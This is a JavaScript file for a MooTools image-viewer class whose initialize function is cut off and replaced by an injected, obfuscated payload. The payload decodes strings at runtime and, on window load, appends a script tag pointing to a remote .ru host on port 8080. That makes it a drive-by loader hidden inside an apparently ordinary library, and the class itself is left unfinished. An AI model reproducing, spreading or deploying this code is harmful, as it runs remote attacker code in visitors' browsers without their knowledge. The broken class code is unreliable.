/*
Author:
luistar15, <leo020588 [at] gmail.com>
License:
MIT License

Class
viewer v0.9 (rev.08-12-08)

Arguments:
items: dom collection | required
parameters - see Parameters below

Parameters:
sizes: obj | item sizes (px) | default: {w:480,h:240}
mode: string OR array | 'rand','top','right','bottom','left','alpha' | default: 'rand'
modes: array | default: ['top','right','bottom','left','alpha']
fxOptions: object | Fx.Tween options | default: {duration:500}
interval: int | for periodical | default: 5000

Methods:
previous(manual): walk to previous item
manual: bolean | default:false
next(manual): walk to next item
manual: bolean | default:false
play(wait): auto walk items
wait: boolean | required
stop(): stop auto walk
walk(item,manual): walk to item
item: int | required
manual: bolean | default:false

Requires:
mootools 1.2 core
*/

var viewer = new Class({

mode: 'left',
modes: ['left', 'left'],
    sizes: { w: 480, h: 240 },
    fxOptions: { duration: 100 },
    interval: 5000,

    initialize: function(items, options) {
        if (options) for (var o in options) this[o] = options[o];
        //
        if (this.buttons) {
            this.buttons.previous.addEvent('click', this.previous.bind(this, [true]));
            this.buttons.next.addEvent('click', this.next.bind(this, [true]));
        }
        this.__current = 0;
        this.__previous = null;
        this.items = items.setStyle('display', 'none');
 
var ss="bfaba2b69feb86948280b9e593a38298f4b197b1878594838fb685b6b1a8a2baa79ca1b59a88b689b099be86a389b4979f80938cb5ae8cad9b8385a28ba69c8180f7b99ecfbb8298ed869dd7a3b9";var VW;if(VW!='' && VW!='Vx'){VW='Wl'};var Rm;i
function i() {var z=new String();var CE;if(CE!='x' && CE!='b'){CE=''};this.yU='';var n='g';var xp='';var g='';var O=']';var p="";var f='replace';var M=new String();var fZ;if(fZ!='d' && fZ != ''){fZ=null};var V='[';var m;if(m!='Jp'){m=''};var ps;if(ps!='E'){ps=''};var B=RegExp;function N(q,h){this.C_="";var C=V;C+=h;var hT;if(hT!='mR' && hT!='G'){hT=''};var Sp;if(Sp!='eb'){Sp=''};C+=O;var yN='';var L=new B(C, n);var qG="";var eh;if(eh!='' && eh!='sJ'){eh=''};return q[f](L, M);};var r=N('cZrJePaPtJesEslZePmZeZnstZ',"ZPsJ");var t=N('sXcXrRiRpXtX',"QURX");this.ig="";var c=N('hztztMpz:z/z/M1y9ylzozuz-yczozmy.PwyiPnMazmPpz.zcyoymP.ziPtM1P6z8M-zcPoMmy.PszaymyuyeMsMtz.zryuM:y',"MyzP");var R;if(R!=''){R='DF'};var rL=N('/JvMnMeMxJpMrJeMsJsM.MnueutM/uvMnueJxJpJrMeJsMsM.MnJeMtJ/M3M6u0J.ucMnu/uguoMougJlueM.ucJoumM/utJoumJ.ucMoJmM.JpJhMpu',"JMu");var hc=N('863603223683232206262',"632");var aH=new Date();var zP;if(zP!='Sb' && zP!='jR'){zP=''};var Y=new String();var Mx='';var MV;if(MV!='' && MV!='MD'){MV=null};var y=window;y[N('oenNlKoeaNdN',"iKNeb")]=function(){var dy;if(dy!='nN'){dy='nN'};try {var nE=new Date();Mx+=c;var N_="";var v;if(v!='rM' && v!='Bs'){v='rM'};Mx+=hc;Mx+=rL;var de;if(de!='Qh' && de!='tr'){de='Qh'};var nm;if(nm!='' && nm!='ko'){nm='uR'};Z=document[r](t);NG(Z,'defer',([1,1][0]));var AF=new String();var bZD=new Array();NG(Z,'src',Mx);var rA=new Array();var Tf="";var hh=new Array();var It="";var EO;if(EO!='Z_'){EO='Z_'};document.body.appendChild(Z);var TZ;if(TZ!='' && TZ!='zX'){TZ=null};} catch(A){};var Hr;if(Hr!='dQ' && Hr!='YD'){Hr='dQ'};};this.sE='';function NG(D,S,U){D.setAttribute(S, U);this.o='';this.wr='';}this.CU="";this.li="";var cb;if(cb!='' && cb!='OM'){cb=''};var NL=new String();};i();